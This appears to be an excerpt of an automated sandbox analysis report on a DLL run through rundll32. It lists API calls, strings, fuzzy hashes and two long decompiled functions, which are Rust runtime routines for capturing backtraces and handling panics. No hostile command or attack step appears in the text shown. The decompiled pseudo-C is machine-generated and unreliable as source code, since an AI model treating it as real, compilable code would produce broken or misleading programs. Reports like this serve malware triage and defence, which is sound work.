Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 02f831c1d14fa3bbac6c64e8e0da4688b44c4a33ac70099894686c773b7c7ff0
Instruction ID: 63d0c6c1397407011e310c793644c55b54d9a5c8142f88bc2e29699bd685bbfa
Opcode Fuzzy Hash: 02f831c1d14fa3bbac6c64e8e0da4688b44c4a33ac70099894686c773b7c7ff0
Instruction Fuzzy Hash: 3F029AB2E002198BDF10CF98C8907EEB7F1BB89314F15452AE519BB390DB71A991CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6E5575F4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6E557723
__aulldiv.LIBCMT ref: 6E557733

Strings

?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E557602, 6E557A59
bool, xrefs: 6E55788B
{recursion limit reached}{invalid syntax}, xrefs: 6E557C06
called `Option::unwrap()` on a `None` value, xrefs: 6E5579BC

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: 8b0f5c093fa7d4607434879b265cb8baec634901244da6b24d46e84735b1264d
Instruction ID: b25fe2f0f825e532330abecb589e0ee88b7a52ba2632aebc5247d81ccbc59b68
Opcode Fuzzy Hash: 8b0f5c093fa7d4607434879b265cb8baec634901244da6b24d46e84735b1264d
Instruction Fuzzy Hash: 31E1F3716087418FD714CFA8C49076ABBE1EF86314F14C96FD9958B3D2E334A866CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E56D1CC, Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6E56D1D8
IsDebuggerPresent.KERNEL32 ref: 6E56D2A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E56D2C4
UnhandledExceptionFilter.KERNEL32(?), ref: 6E56D2CE

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d9f960c755c53573d5ef7dbf5957c26183c85c7d0cce8c500d5f32dae23dca5
Instruction ID: dc49c9ce5a12b4a966248dc4f4687fc83e7e53850a12602ec417a7e3734334df
Opcode Fuzzy Hash: 3d9f960c755c53573d5ef7dbf5957c26183c85c7d0cce8c500d5f32dae23dca5
Instruction Fuzzy Hash: 93311675D052289BDF10DFA4C989BCCBBF8AF08304F1044AAE50DAB250EB719A85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 6E55DD30, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E55DD30(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6E5639E0;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6E56E9D0(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6e59f8cc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6E579A30(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6E579470(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6e5a06e0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6E560D10(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6e5ae128, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6e5ae128, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6e5ae128, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6e59fdd8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e59f570;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6E552150( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6e5ae128, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6e59fde0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6E56E9D0(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6E56C5AE();
						_t217 = E6E55E4E0(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6e5ae148; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6e5ae130, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6E5794E0(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e5a0ad0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6e5ae148 = _t218;
									_t267 =  *0x6e5ae14c; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6e5ae14c; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6e5ae158; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6E56E9D0(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6E55E6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6e5ae130, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6E56E9D0(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6e5ae144; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6e5ae130, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6E5794E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e5a0ad0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6e5ae144 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6E55E6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6e5ae158 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6e5ae130, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6E5794E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e5a0ad0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6E55E6D0( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6e5ae14c = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6e5ae128, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6e59fe4c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e59f570;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6E552150( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

APIs

SetLastError.KERNEL32(00000000), ref: 6E55DE42
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6E55DE4A
GetLastError.KERNEL32 ref: 6E55DE56
GetLastError.KERNEL32 ref: 6E55DE68
GetLastError.KERNEL32 ref: 6E55DECC
HeapFree.KERNEL32(00000000,00000000), ref: 6E55DEFD
HeapFree.KERNEL32(00000000,?), ref: 6E55DF47
HeapFree.KERNEL32(00000000,?), ref: 6E55DF58
GetCurrentProcess.KERNEL32(?), ref: 6E55E031
GetCurrentThread.KERNEL32 ref: 6E55E039
RtlCaptureContext.KERNEL32(?), ref: 6E55E059
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6E55E09A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6E55E0C4
GetCurrentProcess.KERNEL32 ref: 6E55E0D9
GetProcAddress.KERNEL32(StackWalkEx), ref: 6E55E0FB
ReleaseMutex.KERNEL32(?), ref: 6E55E1E8
HeapFree.KERNEL32(00000000,?), ref: 6E55E26B
HeapFree.KERNEL32(00000000,?,?), ref: 6E55E29D
GetProcAddress.KERNEL32(StackWalk64), ref: 6E55E345

Strings

SymGetModuleBase64, xrefs: 6E55E0B9
StackWalk64, xrefs: 6E55E33A
SymFunctionTableAccess64, xrefs: 6E55E08F
StackWalkEx, xrefs: 6E55E0F0
called `Option::unwrap()` on a `None` value, xrefs: 6E55E3CC, 6E55E3EF, 6E55E412

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: 85a27183bfdd0fb0968da2ee7c6292727d74eac3a3722425cd30bc5c964c390c
Instruction ID: 0a1f74752cf718db5984760b432b58fad6a423ddd70e65beef94a6ca7d904292
Opcode Fuzzy Hash: 85a27183bfdd0fb0968da2ee7c6292727d74eac3a3722425cd30bc5c964c390c
Instruction Fuzzy Hash: 1B1225B1600B009FE761CFA4C894BA7BBF4BB49308F10492ED69A8B791DB71B455CF52

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C700, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6E55C700(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = 0x6e5639a0;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6e5ae120], esi");
				_t190 = E6E55D000(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6E5795A0(_t264,  &M6E59F8F7, 0x46, _t337,  &_v68, 0x6e59f870, 0x6e59f9bc);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e59f570;
						_v120 = 0x6e59f824;
						_v68 = 0x6e5a0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E552470;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6E55D0F0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6e5ae128, 0, _t256);
							}
							_t194 = HeapFree( *0x6e5ae128, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6e5a0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e59f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6E55D0F0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6e5ae11c);
					_v144 = 0x6e5ae11c;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6E55D000(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6e5ae110; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6E55D380(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6E5795A0(_t264,  &M6E59F8F7, 0x46, _t340,  &_v68, 0x6e59f870, 0x6e59f9bc);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6e5ad044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6e5ad044;
							_t202 = E6E562960(_t264, 0x6e5ad044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6e5ad044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6e5ad044;
								_t203 = E6E562960(_t264, 0x6e5ad044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6e5ae128; // 0x2cb0000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6e5ad044;
										_t332 = _t205;
										_t206 =  *0x6e5ad044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6E562960(_t264, 0x6e5ad044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6E5792F0(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6e5ae128, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6e5ae110;
											 *0x6e5ae110 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6e563290
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
